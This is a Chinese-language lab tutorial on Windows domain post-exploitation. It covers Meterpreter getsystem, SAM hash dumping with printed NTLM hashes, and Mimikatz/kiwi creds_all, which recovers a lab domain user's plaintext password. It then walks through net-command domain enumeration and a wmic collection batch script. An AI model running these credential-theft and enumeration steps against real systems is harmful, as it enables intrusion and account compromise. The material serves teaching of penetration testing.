跳转至

域内收集

内容简介

本小节主要讲解拿到域内主机我们一般是如何进行域内主机信息收集的,本节开始我们会尝试进一步深入内网横向,准备下向更深入的内网进发。

权限概览

先看看当前拿到的权限情况,在整个内网中目前我们已经打到了 Vlan 10 区域,且已经拿到了 3 台主机的权限,接下来准备逐个拿下剩下 4 台主机的权限。

image-20231205155347533

域的探测

查看域名

查看当前所在的域为:pigteacher.com

ipconfig /all

image-20231205164546194

或者使用 :

net config workstation

image-20231205164737365

当前是否在域

使用一些和域交互的命令 /domain 来验证:

# 查看域用户信息
net user /domain

# 查看域用户组信息
net group /domain

可以看到当前我们并不能和域交互,说明我们当前登录的用户不是域用户,无权交互:

image-20231205165152931

哈希读取

MSF 模块本地哈希读取

RDP 登录进 192.168.10.15 主机,以管理员身份运行我们的 shell.exe 上线我们的 MSF,手动使用 getsystem 命令获取到 system 权限:

image-20231205155827338

msf getsystem 提权小姿势

MSF 的 getsystem 提权要迁移进程到 administrator 用户进程提权到 system 权限,如果这个命令叫 admin_to_system,你就很容易理解了,getsystem 不执行权限升级,它只是一种在你已经升级到本地管理员权限后获取系统帐户的方法。 ---三米前有焦皮

  • 抓取自动登录密码

接着直接使用 MSF 抓取自动登录的密码,很多用户习惯将计算机设置自动登录,可以使用windows_autologin抓取自动登录的用户名和密码:

meterpreter > run windows/gather/credentials/windows_autologin

不过我们这台主机没有配置自动登录相关的配置啥都没有抓取到:

image-20231205160907204

  • 导出本地用户账号密码

可以使用 hashdump 命令从 SAM 数据库中导出本地用户账号的 Hash 信息:

image-20231205161037199

下面使用文本来简单记录一下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:5cd2d10e5c7e79a5622e80471a9a2684:::
GG:1006:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pig:1005:aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4:::

但是作为域渗透,这些本地用户的密码认证信息对我们来说不是很有太大的作用,所以得想办法来读取域用户的密码才可以。

MSF kiwi 插件全部读取

system 权限的 meterpreter 下加载 kiwi 插件,这就是著名的 Mimikatz:

meterpreter >  load kiwi

image-20231205163813583

然后直接使用 creds_all 命令列出系统中所有的明文密码吧:

meterpreter > creds_all

image-20231206101918951

下面来解释一下上面这个图片的含义:

  • msv credentials:展示本地以及域用户的所有 NTLM 哈希信息
  • wdigest credentials:本地及域用户的明文密码信息
  • kerberos credentials:域用户的明文密码信息,非域用户为 null

所以很明显,我们利用 MSF 的 kiwi 模块拿到了一个域用户的明文密码信息:

用户名:pigteacher\sqladmin
密码:admin@123

既然有域内用户的明文密码信息的话,我们直接切换到域内用户登录到这台主机吧:

image-20231206102708897

成功使用域用户登录进主机:

image-20231206102811165

域内收集

手工收集

下面使用一些常见的命令来做域内的信息收集:

  • 查询当前的登录域
net config workstation

image-20231207215307650

  • 查询域内所有的用户
net user /domain

# 或者借助 Domain Users 组查询也可以
net group "Domain Users" /doamin

image-20231206103005428

  • 查看域管理员用户
# 查询所有的域用户组
net group /domain

# 查询域管理员用户
net group "Domain Admins" /doamin

image-20231206103702490

  • 查询域用户的详细信息
net user Administrator /doamin

image-20231206104054829

  • 查询域下的主机列表
net group "Domain Computers" /doamin

image-20231206103606962

  • 查询域下的 DC 控制器(域控)
net group "Domain Controllers" /doamin
# 或者查询域内时间 也会返回域控主机信息
net time /domain
# 或者
netdom query pdc

image-20231206103545920

那此时我们来 ping 一下这个主机就很容易获取到域控主机的 IP 地址(192.168.20.100)了:

image-20231207215542463

自动收集

也可以将常见的收集命令打包成一个 bat 批处理脚本,比如下面就是一个使用 wmic 来做收集,然后将结果到处到 html 中。批处理脚本的内容如下:

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

保存为 bat 文件 然后直接放到主机上运行即可:

image-20231207223035541